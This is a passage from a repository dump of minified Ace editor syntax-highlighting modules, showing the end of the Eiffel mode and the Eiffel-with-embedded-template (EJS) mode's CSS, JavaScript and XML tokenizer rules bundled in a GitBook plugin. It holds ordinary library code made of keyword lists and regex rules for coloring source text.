*\\d)*)\\/)*?\"/},{token:\"comment.line.double-dash\",regex:/--.*/},{token:\"constant.character\",regex:/'(?:[^%\\b\\f\\n\\r\\t\\v]|%[A-DFHLNQR-V%'\"()<>]|%\\/(?:0[xX][\\da-fA-F](?:_*[\\da-fA-F])*|0[cC][0-7](?:_*[0-7])*|0[bB][01](?:_*[01])*|\\d(?:_*\\d)*)\\/)'/},{token:\"constant.numeric\",regex:/\\b0(?:[xX][\\da-fA-F](?:_*[\\da-fA-F])*|[cC][0-7](?:_*[0-7])*|[bB][01](?:_*[01])*)\\b/},{token:\"constant.numeric\",regex:/(?:\\d(?:_*\\d)*)?\\.(?:(?:\\d(?:_*\\d)*)?[eE][+-]?)?\\d(?:_*\\d)*|\\d(?:_*\\d)*\\.?/},{token:\"paren.lparen\",regex:/[\\[({]|<<|\\|\\(/},{token:\"paren.rparen\",regex:/[\\])}]|>>|\\|\\)/},{token:\"keyword.operator\",regex:/:=|->|\\.(?=\\w)|[;,:?]/},{token:\"keyword.operator\",regex:/\\\\\\\\|\\|\\.\\.\\||\\.\\.|\\/[~\\/]?|[><\\/]=?|[-+*^=~]/},{token:function(e){var t=s(e);return t===\"identifier\"&&e===e.toUpperCase()&&(t=\"entity.name.type\"),t},regex:/[a-zA-Z][a-zA-Z\\d_]*\\b/},{token:\"text\",regex:/\\s+/}],aligned_verbatim_string:[{token:\"string\",regex:/]\"/,next:\"start\"},{token:\"string\",regex:o}],\"non-aligned_verbatim_string\":[{token:\"string.quoted.other\",regex:/}\"/,next:\"start\"},{token:\"string.quoted.other\",regex:o}]}};r.inherits(s,i),t.EiffelHighlightRules=s}),define(\"ace/mode/eiffel\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text\",\"ace/mode/eiffel_highlight_rules\",\"ace/range\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text\").Mode,s=e(\"./eiffel_highlight_rules\").EiffelHighlightRules,o=e(\"../range\").Range,u=function(){this.HighlightRules=s};r.inherits(u,i),function(){this.lineCommentStart=\"--\",this.$id=\"ace/mode/eiffel\"}.call(u.prototype),t.Mode=u})"
  },
  {
    "path": "docs/gitbook/gitbook-plugin-ace/ace/mode-ejs.js",
    "content": "define(\"ace/mode/css_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/lib/lang\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"../lib/lang\"),s=e(\"./text_highlight_rules\").TextHighlightRules,o=t.supportType=\"animation-fill-mode|alignment-adjust|alignment-baseline|animation-delay|animation-direction|animation-duration|animation-iteration-count|animation-name|animation-play-state|animation-timing-function|animation|appearance|azimuth|backface-visibility|background-attachment|background-break|background-clip|background-color|background-image|background-origin|background-position|background-repeat|background-size|background|baseline-shift|binding|bleed|bookmark-label|bookmark-level|bookmark-state|bookmark-target|border-bottom|border-bottom-color|border-bottom-left-radius|border-bottom-right-radius|border-bottom-style|border-bottom-width|border-collapse|border-color|border-image|border-image-outset|border-image-repeat|border-image-slice|border-image-source|border-image-width|border-left|border-left-color|border-left-style|border-left-width|border-radius|border-right|border-right-color|border-right-style|border-right-width|border-spacing|border-style|border-top|border-top-color|border-top-left-radius|border-top-right-radius|border-top-style|border-top-width|border-width|border|bottom|box-align|box-decoration-break|box-direction|box-flex-group|box-flex|box-lines|box-ordinal-group|box-orient|box-pack|box-shadow|box-sizing|break-after|break-before|break-inside|caption-side|clear|clip|color-profile|color|column-count|column-fill|column-gap|column-rule|column-rule-color|column-rule-style|column-rule-width|column-span|column-width|columns|content|counter-increment|counter-reset|crop|cue-after|cue-before|cue|cursor|direction|display|dominant-baseline|drop-initial-after-adjust|drop-initial-after-align|drop-initial-before-adjust|drop-initial-before-align|drop-initial-size|drop-initial-value|elevation|empty-cells|fit|fit-position|float-offset|float|font-family|font-size|font-size-adjust|font-stretch|font-style|font-variant|font-weight|font|grid-columns|grid-rows|hanging-punctuation|height|hyphenate-after|hyphenate-before|hyphenate-character|hyphenate-lines|hyphenate-resource|hyphens|icon|image-orientation|image-rendering|image-resolution|inline-box-align|left|letter-spacing|line-height|line-stacking-ruby|line-stacking-shift|line-stacking-strategy|line-stacking|list-style-image|list-style-position|list-style-type|list-style|margin-bottom|margin-left|margin-right|margin-top|margin|mark-after|mark-before|mark|marks|marquee-direction|marquee-play-count|marquee-speed|marquee-style|max-height|max-width|min-height|min-width|move-to|nav-down|nav-index|nav-left|nav-right|nav-up|opacity|orphans|outline-color|outline-offset|outline-style|outline-width|outline|overflow-style|overflow-x|overflow-y|overflow|padding-bottom|padding-left|padding-right|padding-top|padding|page-break-after|page-break-before|page-break-inside|page-policy|page|pause-after|pause-before|pause|perspective-origin|perspective|phonemes|pitch-range|pitch|play-during|pointer-events|position|presentation-level|punctuation-trim|quotes|rendering-intent|resize|rest-after|rest-before|rest|richness|right|rotation-point|rotation|ruby-align|ruby-overhang|ruby-position|ruby-span|size|speak-header|speak-numeral|speak-punctuation|speak|speech-rate|stress|string-set|table-layout|target-name|target-new|target-position|target|text-align-last|text-align|text-decoration|text-emphasis|text-height|text-indent|text-justify|text-outline|text-shadow|text-transform|text-wrap|top|transform-origin|transform-style|transform|transition-delay|transition-duration|transition-property|transition-timing-function|transition|unicode-bidi|vertical-align|visibility|voice-balance|voice-duration|voice-family|voice-pitch-range|voice-pitch|voice-rate|voice-stress|voice-volume|volume|white-space-collapse|white-space|widows|width|word-break|word-spacing|word-wrap|z-index\",u=t.supportFunction=\"rgb|rgba|url|attr|counter|counters\",a=t.supportConstant=\"absolute|after-edge|after|all-scroll|all|alphabetic|always|antialiased|armenian|auto|avoid-column|avoid-page|avoid|balance|baseline|before-edge|before|below|bidi-override|block-line-height|block|bold|bolder|border-box|both|bottom|box|break-all|break-word|capitalize|caps-height|caption|center|central|char|circle|cjk-ideographic|clone|close-quote|col-resize|collapse|column|consider-shifts|contain|content-box|cover|crosshair|cubic-bezier|dashed|decimal-leading-zero|decimal|default|disabled|disc|disregard-shifts|distribute-all-lines|distribute-letter|distribute-space|distribute|dotted|double|e-resize|ease-in|ease-in-out|ease-out|ease|ellipsis|end|exclude-ruby|fill|fixed|georgian|glyphs|grid-height|groove|hand|hanging|hebrew|help|hidden|hiragana-iroha|hiragana|horizontal|icon|ideograph-alpha|ideograph-numeric|ideograph-parenthesis|ideograph-space|ideographic|inactive|include-ruby|inherit|initial|inline-block|inline-box|inline-line-height|inline-table|inline|inset|inside|inter-ideograph|inter-word|invert|italic|justify|katakana-iroha|katakana|keep-all|last|left|lighter|line-edge|line-through|line|linear|list-item|local|loose|lower-alpha|lower-greek|lower-latin|lower-roman|lowercase|lr-tb|ltr|mathematical|max-height|max-size|medium|menu|message-box|middle|move|n-resize|ne-resize|newspaper|no-change|no-close-quote|no-drop|no-open-quote|no-repeat|none|normal|not-allowed|nowrap|nw-resize|oblique|open-quote|outset|outside|overline|padding-box|page|pointer|pre-line|pre-wrap|pre|preserve-3d|progress|relative|repeat-x|repeat-y|repeat|replaced|reset-size|ridge|right|round|row-resize|rtl|s-resize|scroll|se-resize|separate|slice|small-caps|small-caption|solid|space|square|start|static|status-bar|step-end|step-start|steps|stretch|strict|sub|super|sw-resize|table-caption|table-cell|table-column-group|table-column|table-footer-group|table-header-group|table-row-group|table-row|table|tb-rl|text-after-edge|text-before-edge|text-bottom|text-size|text-top|text|thick|thin|transparent|underline|upper-alpha|upper-latin|upper-roman|uppercase|use-script|vertical-ideographic|vertical-text|visible|w-resize|wait|whitespace|z-index|zero\",f=t.supportConstantColor=\"aqua|black|blue|fuchsia|gray|green|lime|maroon|navy|olive|orange|purple|red|silver|teal|white|yellow\",l=t.supportConstantFonts=\"arial|century|comic|courier|cursive|fantasy|garamond|georgia|helvetica|impact|lucida|symbol|system|tahoma|times|trebuchet|utopia|verdana|webdings|sans-serif|serif|monospace\",c=t.numRe=\"\\\\-?(?:(?:[0-9]+)|(?:[0-9]*\\\\.[0-9]+))\",h=t.pseudoElements=\"(\\\\:+)\\\\b(after|before|first-letter|first-line|moz-selection|selection)\\\\b\",p=t.pseudoClasses=\"(:)\\\\b(active|checked|disabled|empty|enabled|first-child|first-of-type|focus|hover|indeterminate|invalid|last-child|last-of-type|link|not|nth-child|nth-last-child|nth-last-of-type|nth-of-type|only-child|only-of-type|required|root|target|valid|visited)\\\\b\",d=function(){var e=this.createKeywordMapper({\"support.function\":u,\"support.constant\":a,\"support.type\":o,\"support.constant.color\":f,\"support.constant.fonts\":l},\"text\",!0);this.$rules={start:[{token:\"comment\",regex:\"\\\\/\\\\*\",push:\"comment\"},{token:\"paren.lparen\",regex:\"\\\\{\",push:\"ruleset\"},{token:\"string\",regex:\"@.*?{\",push:\"media\"},{token:\"keyword\",regex:\"#[a-z0-9-_]+\"},{token:\"variable\",regex:\"\\\\.[a-z0-9-_]+\"},{token:\"string\",regex:\":[a-z0-9-_]+\"},{token:\"constant\",regex:\"[a-z0-9-_]+\"},{caseInsensitive:!0}],media:[{token:\"comment\",regex:\"\\\\/\\\\*\",push:\"comment\"},{token:\"paren.lparen\",regex:\"\\\\{\",push:\"ruleset\"},{token:\"string\",regex:\"\\\\}\",next:\"pop\"},{token:\"keyword\",regex:\"#[a-z0-9-_]+\"},{token:\"variable\",regex:\"\\\\.[a-z0-9-_]+\"},{token:\"string\",regex:\":[a-z0-9-_]+\"},{token:\"constant\",regex:\"[a-z0-9-_]+\"},{caseInsensitive:!0}],comment:[{token:\"comment\",regex:\"\\\\*\\\\/\",next:\"pop\"},{defaultToken:\"comment\"}],ruleset:[{token:\"paren.rparen\",regex:\"\\\\}\",next:\"pop\"},{token:\"comment\",regex:\"\\\\/\\\\*\",push:\"comment\"},{token:\"string\",regex:'[\"](?:(?:\\\\\\\\.)|(?:[^\"\\\\\\\\]))*?[\"]'},{token:\"string\",regex:\"['](?:(?:\\\\\\\\.)|(?:[^'\\\\\\\\]))*?[']\"},{token:[\"constant.numeric\",\"keyword\"],regex:\"(\"+c+\")(ch|cm|deg|em|ex|fr|gd|grad|Hz|in|kHz|mm|ms|pc|pt|px|rad|rem|s|turn|vh|vm|vw|%)\"},{token:\"constant.numeric\",regex:c},{token:\"constant.numeric\",regex:\"#[a-f0-9]{6}\"},{token:\"constant.numeric\",regex:\"#[a-f0-9]{3}\"},{token:[\"punctuation\",\"entity.other.attribute-name.pseudo-element.css\"],regex:h},{token:[\"punctuation\",\"entity.other.attribute-name.pseudo-class.css\"],regex:p},{token:[\"support.function\",\"string\",\"support.function\"],regex:\"(url\\\\()(.*)(\\\\))\"},{token:e,regex:\"\\\\-?[a-zA-Z_][a-zA-Z0-9_\\\\-]*\"},{caseInsensitive:!0}]},this.normalizeRules()};r.inherits(d,s),t.CssHighlightRules=d}),define(\"ace/mode/doc_comment_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text_highlight_rules\").TextHighlightRules,s=function(){this.$rules={start:[{token:\"comment.doc.tag\",regex:\"@[\\\\w\\\\d_]+\"},s.getTagRule(),{defaultToken:\"comment.doc\",caseInsensitive:!0}]}};r.inherits(s,i),s.getTagRule=function(e){return{token:\"comment.doc.tag.storage.type\",regex:\"\\\\b(?:TODO|FIXME|XXX|HACK)\\\\b\"}},s.getStartRule=function(e){return{token:\"comment.doc\",regex:\"\\\\/\\\\*(?=\\\\*)\",next:e}},s.getEndRule=function(e){return{token:\"comment.doc\",regex:\"\\\\*\\\\/\",next:e}},t.DocCommentHighlightRules=s}),define(\"ace/mode/javascript_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/doc_comment_highlight_rules\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";function a(){var e=o.replace(\"\\\\d\",\"\\\\d\\\\-\"),t={onMatch:function(e,t,n){var r=e.charAt(1)==\"/\"?2:1;if(r==1)t!=this.nextState?n.unshift(this.next,this.nextState,0):n.unshift(this.next),n[2]++;else if(r==2&&t==this.nextState){n[1]--;if(!n[1]||n[1]<0)n.shift(),n.shift()}return[{type:\"meta.tag.punctuation.\"+(r==1?\"\":\"end-\")+\"tag-open.xml\",value:e.slice(0,r)},{type:\"meta.tag.tag-name.xml\",value:e.substr(r)}]},regex:\"</?\"+e+\"\",next:\"jsxAttributes\",nextState:\"jsx\"};this.$rules.start.unshift(t);var n={regex:\"{\",token:\"paren.quasi.start\",push:\"start\"};this.$rules.jsx=[n,t,{include:\"reference\"},{defaultToken:\"string\"}],this.$rules.jsxAttributes=[{token:\"meta.tag.punctuation.tag-close.xml\",regex:\"/?>\",onMatch:function(e,t,n){return t==n[0]&&n.shift(),e.length==2&&(n[0]==this.nextState&&n[1]--,(!n[1]||n[1]<0)&&n.splice(0,2)),this.next=n[0]||\"start\",[{type:this.token,value:e}]},nextState:\"jsx\"},n,{token:\"entity.other.attribute-name.xml\",regex:e},{token:\"keyword.operator.attribute-equals.xml\",regex:\"=\"},{token:\"text.tag-whitespace.xml\",regex:\"\\\\s+\"},{token:\"string.attribute-value.xml\",regex:\"'\",stateName:\"jsx_attr_q\",push:[{token:\"string.attribute-value.xml\",regex:\"'\",next:\"pop\"},n,{include:\"reference\"},{defaultToken:\"string.attribute-value.xml\"}]},{token:\"string.attribute-value.xml\",regex:'\"',stateName:\"jsx_attr_qq\",push:[n,{token:\"string.attribute-value.xml\",regex:'\"',next:\"pop\"},{include:\"reference\"},{defaultToken:\"string.attribute-value.xml\"}]}],this.$rules.reference=[{token:\"constant.language.escape.reference.xml\",regex:\"(?:&#[0-9]+;)|(?:&#x[0-9a-fA-F]+;)|(?:&[a-zA-Z0-9_:\\\\.-]+;)\"}]}var r=e(\"../lib/oop\"),i=e(\"./doc_comment_highlight_rules\").DocCommentHighlightRules,s=e(\"./text_highlight_rules\").TextHighlightRules,o=\"[a-zA-Z\\\\$_\\u00a1-\\uffff][a-zA-Z\\\\d\\\\$_\\u00a1-\\uffff]*\\\\b\",u=function(e){var t=this.createKeywordMapper({\"variable.language\":\"Array|Boolean|Date|Function|Iterator|Number|Object|RegExp|String|Proxy|Namespace|QName|XML|XMLList|ArrayBuffer|Float32Array|Float64Array|Int16Array|Int32Array|Int8Array|Uint16Array|Uint32Array|Uint8Array|Uint8ClampedArray|Error|EvalError|InternalError|RangeError|ReferenceError|StopIteration|SyntaxError|TypeError|URIError|decodeURI|decodeURIComponent|encodeURI|encodeURIComponent|eval|isFinite|isNaN|parseFloat|parseInt|JSON|Math|this|arguments|prototype|window|document\",keyword:\"const|yield|import|get|set|break|case|catch|continue|default|delete|do|else|finally|for|function|if|in|instanceof|new|return|switch|throw|try|typeof|let|var|while|with|debugger|__parent__|__count__|escape|unescape|with|__proto__|class|enum|extends|super|export|implements|private|public|interface|package|protected|static\",\"storage.type\":\"const|let|var|function\",\"constant.language\":\"null|Infinity|NaN|undefined\",\"support.function\":\"alert\",\"constant.language.boolean\":\"true|false\"},\"identifier\"),n=\"case|do|else|finally|in|instanceof|return|throw|try|typeof|yield|void\",r=\"\\\\\\\\(?:x[0-9a-fA-F]{2}|u[0-9a-fA-F]{4}|[0-2][0-7]{0,2}|3[0-6][0-7]?|37[0-7]?|[4-7][0-7]?|.)\";this.$rules={no_regex:[{token:\"comment\",regex:\"\\\\/\\\\/\",next:\"line_comment\"},i.getStartRule(\"doc-start\"),{token:\"comment\",regex:/\\/\\*/,next:\"comment\"},{token:\"string\",regex:\"'(?=.)\",next:\"qstring\"},{token:\"string\",regex:'\"(?=.)',next:\"qqstring\"},{token:\"constant.numeric\",regex:/0[xX][0-9a-fA-F]+\\b/},{token:\"constant.numeric\",regex:/[+-]?\\d+(?:(?:\\.\\d*)?(?:[eE][+-]?\\d+)?)?\\b/},{token:[\"storage.type\",\"punctuation.operator\",\"support.function\",\"punctuation.operator\",\"entity.name.function\",\"text\",\"keyword.operator\"],regex:\"(\"+o+\")(\\\\.)(prototype)(\\\\.)(\"+o+\")(\\\\s*)(=)\",next:\"function_arguments\"},{token:[\"storage.type\",\"punctuation.operator\",\"entity.name.function\",\"text\",\"keyword.operator\",\"text\",\"storage.type\",\"text\",\"paren.lparen\"],regex:\"(\"+o+\")(\\\\.)(\"+o+\")(\\\\s*)(=)(\\\\s*)(function)(\\\\s*)(\\\\()\",next:\"function_arguments\"},{token:[\"entity.name.function\",\"text\",\"keyword.operator\",\"text\",\"storage.type\",\"text\",\"paren.lparen\"],regex:\"(\"+o+\")(\\\\s*)(=)(\\\\s*)(function)(\\\\s*)(\\\\()\",next:\"function_arguments\"},{token:[\"storage.type\",\"punctuation.operator\",\"entity.name.function\",\"text\",\"keyword.operator\",\"text\",\"storage.type\",\"text\",\"entity.name.function\",\"text\",\"paren.lparen\"],regex:\"(\"+o+\")(\\\\.)(\"+o+\")(\\\\s*)(=)(\\\\s*)(function)(\\\\s+)(\\\\w+)(\\\\s*)(\\\\()\",next:\"function_arguments\"},{token:[\"storage.type\",\"text\",\"entity.name.function\",\"text\",\"paren.lparen\"],regex:\"(function)(\\\\s+)(\"+o+\")(\\\\s*)(\\\\()\",next:\"function_arguments\"},{token:[\"entity.name.function\",\"text\",\"punctuation.operator\",\"text\",\"storage.type\",\"text\",\"paren.lparen\"],regex:\"(\"+o+\")(\\\\s*)(:)(\\\\s*)(function)(\\\\s*)(\\\\()\",next:\"function_arguments\"},{token:[\"text\",\"text\",\"storage.type\",\"text\",\"paren.lparen\"],regex:\"(:)(\\\\s*)(function)(\\\\s*)(\\\\()\",next:\"function_arguments\"},{token:\"keyword\",regex:\"(?:\"+n+\")\\\\b\",next:\"start\"},{token:[\"support.constant\"],regex:/that\\b/},{token:[\"storage.type\",\"punctuation.operator\",\"support.function.firebug\"],regex:/(console)(\\.)(warn|info|log|error|time|trace|timeEnd|assert)\\b/},{token:t,regex:o},{token:\"punctuation.operator\",regex:/[.](?![.])/,next:\"property\"},{token:\"keyword.operator\",regex:/--|\\+\\+|\\.{3}|===|==|=|!=|!==|<=|>=|<<=|>>=|>>>=|<>|<|>|!|&&|\\|\\||\\?\\:|[!$%&*+\\-~\\/^]=?/,next:\"start\"},{token:\"punctuation.operator\",regex:/[?:,;.]/,next:\"start\"},{token:\"paren.lparen\",regex:/[\\[({]/,next:\"start\"},{token:\"paren.rparen\",regex:/[\\])}]/},{token:\"comment\",regex:/^#!.*$/}],property:[{token:\"text\",regex:\"\\\\s+\"},{token:[\"storage.type\",\"punctuation.operator\",\"entity.name.function\",\"text\",\"keyword.operator\",\"text\",\"storage.type\",\"text\",\"entity.name.function\",\"text\",\"paren.lparen\"],regex:\"(\"+o+\")(\\\\.)(\"+o+\")(\\\\s*)(=)(\\\\s*)(function)(?:(\\\\s+)(\\\\w+))?(\\\\s*)(\\\\()\",next:\"function_arguments\"},{token:\"punctuation.operator\",regex:/[.](?![.])/},{token:\"support.function\",regex:/(s(?:h(?:ift|ow(?:Mod(?:elessDialog|alDialog)|Help))|croll(?:X|By(?:Pages|Lines)?|Y|To)?|t(?:op|rike)|i(?:n|zeToContent|debar|gnText)|ort|u(?:p|b(?:str(?:ing)?)?)|pli(?:ce|t)|e(?:nd|t(?:Re(?:sizable|questHeader)|M(?:i(?:nutes|lliseconds)|onth)|Seconds|Ho(?:tKeys|urs)|Year|Cursor|Time(?:out)?|Interval|ZOptions|Date|UTC(?:M(?:i(?:nutes|lliseconds)|onth)|Seconds|Hours|Date|FullYear)|FullYear|Active)|arch)|qrt|lice|avePreferences|mall)|h(?:ome|andleEvent)|navigate|c(?:har(?:CodeAt|At)|o(?:s|n(?:cat|textual|firm)|mpile)|eil|lear(?:Timeout|Interval)?|a(?:ptureEvents|ll)|reate(?:StyleSheet|Popup|EventObject))|t(?:o(?:GMTString|S(?:tring|ource)|U(?:TCString|pperCase)|Lo(?:caleString|werCase))|est|a(?:n|int(?:Enabled)?))|i(?:s(?:NaN|Finite)|ndexOf|talics)|d(?:isableExternalCapture|ump|etachEvent)|u(?:n(?:shift|taint|escape|watch)|pdateCommands)|j(?:oin|avaEnabled)|p(?:o(?:p|w)|ush|lugins.refresh|a(?:ddings|rse(?:Int|Float)?)|r(?:int|ompt|eference))|e(?:scape|nableExternalCapture|val|lementFromPoint|x(?:p|ec(?:Script|Command)?))|valueOf|UTC|queryCommand(?:State|Indeterm|Enabled|Value)|f(?:i(?:nd|le(?:ModifiedDate|Size|CreatedDate|UpdatedDate)|xed)|o(?:nt(?:size|color)|rward)|loor|romCharCode)|watch|l(?:ink|o(?:ad|g)|astIndexOf)|a(?:sin|nchor|cos|t(?:tachEvent|ob|an(?:2)?)|pply|lert|b(?:s|ort))|r(?:ou(?:nd|teEvents)|e(?:size(?:By|To)|calc|turnValue|place|verse|l(?:oad|ease(?:Capture|Events)))|andom)|g(?:o|et(?:ResponseHeader|M(?:i(?:nutes|lliseconds)|onth)|Se(?:conds|lection)|Hours|Year|Time(?:zoneOffset)?|Da(?:y|te)|UTC(?:M(?:i(?:nutes|lliseconds)|onth)|Seconds|Hours|Da(?:y|te)|FullYear)|FullYear|A(?:ttention|llResponseHeaders)))|m(?:in|ove(?:B(?:y|elow)|To(?:Absolute)?|Above)|ergeAttributes|a(?:tch|rgins|x))|b(?:toa|ig|o(?:ld|rderWidths)|link|ack))\\b(?=\\()/},{token:\"support.function.dom\",regex:/(s(?:ub(?:stringData|mit)|plitText|e(?:t(?:NamedItem|Attribute(?:Node)?)|lect))|has(?:ChildNodes|Feature)|namedItem|c(?:l(?:ick|o(?:se|neNode))|reate(?:C(?:omment|DATASection|aption)|T(?:Head|extNode|Foot)|DocumentFragment|ProcessingInstruction|E(?:ntityReference|lement)|Attribute))|tabIndex|i(?:nsert(?:Row|Before|Cell|Data)|tem)|open|delete(?:Row|C(?:ell|aption)|T(?:Head|Foot)|Data)|focus|write(?:ln)?|a(?:dd|ppend(?:Child|Data))|re(?:set|place(?:Child|Data)|move(?:NamedItem|Child|Attribute(?:Node)?)?)|get(?:NamedItem|Element(?:sBy(?:Name|TagName|ClassName)|ById)|Attribute(?:Node)?)|blur)\\b(?=\\()/},{token:\"support.constant\",regex:/(s(?:ystemLanguage|cr(?:ipts|ollbars|een(?:X|Y|Top|Left))|t(?:yle(?:Sheets)?|atus(?:Text|bar)?)|ibling(?:Below|Above)|ource|uffixes|e(?:curity(?:Policy)?|l(?:ection|f)))|h(?:istory|ost(?:name)?|as(?:h|Focus))|y|X(?:MLDocument|SLDocument)|n(?:ext|ame(?:space(?:s|URI)|Prop))|M(?:IN_VALUE|AX_VALUE)|c(?:haracterSet|o(?:n(?:structor|trollers)|okieEnabled|lorDepth|mp(?:onents|lete))|urrent|puClass|l(?:i(?:p(?:boardData)?|entInformation)|osed|asses)|alle(?:e|r)|rypto)|t(?:o(?:olbar|p)|ext(?:Transform|Indent|Decoration|Align)|ags)|SQRT(?:1_2|2)|i(?:n(?:ner(?:Height|Width)|put)|ds|gnoreCase)|zIndex|o(?:scpu|n(?:readystatechange|Line)|uter(?:Height|Width)|p(?:sProfile|ener)|ffscreenBuffering)|NEGATIVE_INFINITY|d(?:i(?:splay|alog(?:Height|Top|Width|Left|Arguments)|rectories)|e(?:scription|fault(?:Status|Ch(?:ecked|arset)|View)))|u(?:ser(?:Profile|Language|Agent)|n(?:iqueID|defined)|pdateInterval)|_content|p(?:ixelDepth|ort|ersonalbar|kcs11|l(?:ugins|atform)|a(?:thname|dding(?:Right|Bottom|Top|Left)|rent(?:Window|Layer)?|ge(?:X(?:Offset)?|Y(?:Offset)?))|r(?:o(?:to(?:col|type)|duct(?:Sub)?|mpter)|e(?:vious|fix)))|e(?:n(?:coding|abledPlugin)|x(?:ternal|pando)|mbeds)|v(?:isibility|endor(?:Sub)?|Linkcolor)|URLUnencoded|P(?:I|OSITIVE_INFINITY)|f(?:ilename|o(?:nt(?:Size|Family|Weight)|rmName)|rame(?:s|Element)|gColor)|E|whiteSpace|l(?:i(?:stStyleType|n(?:eHeight|kColor))|o(?:ca(?:tion(?:bar)?|lName)|wsrc)|e(?:ngth|ft(?:Context)?)|a(?:st(?:M(?:odified|atch)|Index|Paren)|yer(?:s|X)|nguage))|a(?:pp(?:MinorVersion|Name|Co(?:deName|re)|Version)|vail(?:Height|Top|Width|Left)|ll|r(?:ity|guments)|Linkcolor|bove)|r(?:ight(?:Context)?|e(?:sponse(?:XML|Text)|adyState))|global|x|m(?:imeTypes|ultiline|enubar|argin(?:Right|Bottom|Top|Left))|L(?:N(?:10|2)|OG(?:10E|2E))|b(?:o(?:ttom|rder(?:Width|RightWidth|BottomWidth|Style|Color|TopWidth|LeftWidth))|ufferDepth|elow|ackground(?:Color|Image)))\\b/},{token:\"identifier\",regex:o},{regex:\"\",token:\"empty\",next:\"no_regex\"}],start:[i.getStartRule(\"doc-start\"),{token:\"comment\",regex:\"\\\\/\\\\*\",next:\"comment_regex_allowed\"},{token:\"comment\",regex:\"\\\\/\\\\/\",next:\"line_comment_regex_allowed\"},{token:\"string.regexp\",regex:\"\\\\/\",next:\"regex\"},{token:\"text\",regex:\"\\\\s+|^$\",next:\"start\"},{token:\"empty\",regex:\"\",next:\"no_regex\"}],regex:[{token:\"regexp.keyword.operator\",regex:\"\\\\\\\\(?:u[\\\\da-fA-F]{4}|x[\\\\da-fA-F]{2}|.)\"},{token:\"string.regexp\",regex:\"/[sxngimy]*\",next:\"no_regex\"},{token:\"invalid\",regex:/\\{\\d+\\b,?\\d*\\}[+*]|[+*$^?][+*]|[$^][?]|\\?{3,}/},{token:\"constant.language.escape\",regex:/\\(\\?[:=!]|\\)|\\{\\d+\\b,?\\d*\\}|[+*]\\?|[()$^+*?.]/},{token:\"constant.language.delimiter\",regex:/\\|/},{token:\"constant.language.escape\",regex:/\\[\\^?/,next:\"regex_character_class\"},{token:\"empty\",regex:\"$\",next:\"no_regex\"},{defaultToken:\"string.regexp\"}],regex_character_class:[{token:\"regexp.charclass.keyword.operator\",regex:\"\\\\\\\\(?:u[\\\\da-fA-F]{4}|x[\\\\da-fA-F]{2}|.)\"},{token:\"constant.language.escape\",regex:\"]\",next:\"regex\"},{token:\"constant.language.escape\",regex:\"-\"},{token:\"empty\",regex:\"$\",next:\"no_regex\"},{defaultToken:\"string.regexp.charachterclass\"}],function_arguments:[{token:\"variable.parameter\",regex:o},{token:\"punctuation.operator\",regex:\"[, ]+\"},{token:\"punctuation.operator\",regex:\"$\"},{token:\"empty\",regex:\"\",next:\"no_regex\"}],comment_regex_allowed:[i.getTagRule(),{token:\"comment\",regex:\"\\\\*\\\\/\",next:\"start\"},{defaultToken:\"comment\",caseInsensitive:!0}],comment:[i.getTagRule(),{token:\"comment\",regex:\"\\\\*\\\\/\",next:\"no_regex\"},{defaultToken:\"comment\",caseInsensitive:!0}],line_comment_regex_allowed:[i.getTagRule(),{token:\"comment\",regex:\"$|^\",next:\"start\"},{defaultToken:\"comment\",caseInsensitive:!0}],line_comment:[i.getTagRule(),{token:\"comment\",regex:\"$|^\",next:\"no_regex\"},{defaultToken:\"comment\",caseInsensitive:!0}],qqstring:[{token:\"constant.language.escape\",regex:r},{token:\"string\",regex:\"\\\\\\\\$\",next:\"qqstring\"},{token:\"string\",regex:'\"|$',next:\"no_regex\"},{defaultToken:\"string\"}],qstring:[{token:\"constant.language.escape\",regex:r},{token:\"string\",regex:\"\\\\\\\\$\",next:\"qstring\"},{token:\"string\",regex:\"'|$\",next:\"no_regex\"},{defaultToken:\"string\"}]};if(!e||!e.noES6)this.$rules.no_regex.unshift({regex:\"[{}]\",onMatch:function(e,t,n){this.next=e==\"{\"?this.nextState:\"\";if(e==\"{\"&&n.length)return n.unshift(\"start\",t),\"paren\";if(e==\"}\"&&n.length){n.shift(),this.next=n.shift();if(this.next.indexOf(\"string\")!=-1||this.next.indexOf(\"jsx\")!=-1)return\"paren.quasi.end\"}return e==\"{\"?\"paren.lparen\":\"paren.rparen\"},nextState:\"start\"},{token:\"string.quasi.start\",regex:/`/,push:[{token:\"constant.language.escape\",regex:r},{token:\"paren.quasi.start\",regex:/\\${/,push:\"start\"},{token:\"string.quasi.end\",regex:/`/,next:\"pop\"},{defaultToken:\"string.quasi\"}]}),(!e||!e.noJSX)&&a.call(this);this.embedRules(i,\"doc-\",[i.getEndRule(\"no_regex\")]),this.normalizeRules()};r.inherits(u,s),t.JavaScriptHighlightRules=u}),define(\"ace/mode/xml_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text_highlight_rules\").TextHighlightRules,s=function(e){var t=\"[_:a-zA-Z\\u00c0-\\uffff][-_:.a-zA-Z0-9\\u00c0-\\uffff]*\";this.$rules={start:[{token:\"string.cdata.xml\",regex:\"<\\\\!\\\\[CDATA\\\\[\",next:\"cdata\"},{token:[\"punctuation.xml-decl.xml\",\"keyword.xml-decl.xml\"],regex:\"(<\\\\?)(xml)(?=[\\\\s])\",next:\"xml_decl\",caseInsensitive:!0},{token:[\"punctuation.instruction.xml\",\"keyword.instruction.xml\"],regex:\"(<\\\\?)(\"+t+\")\",next:\"processing_instruction\"},{token:\"comment.xml\",regex:\"<\\\\!--\",next:\"comment\"},{token:[\"xml-pe.doctype.xml\",\"xml-pe.doctype.xml\"],regex:\"(<\\\\!)(DOCTYPE)(?=[\\\\s])\",next:\"doctype\",caseInsensitive:!0},{include:\"tag\"},{token:\"text.end-tag-open.xml\",regex:\"</\"},{token:\"text.tag-open.xml\",regex:\"<\"},{include:\"reference\"},{defaultToken:\"text.xml\"}],xml_decl:[{token:\"entity.other.attribute-name.decl-attribute-name.xml\",r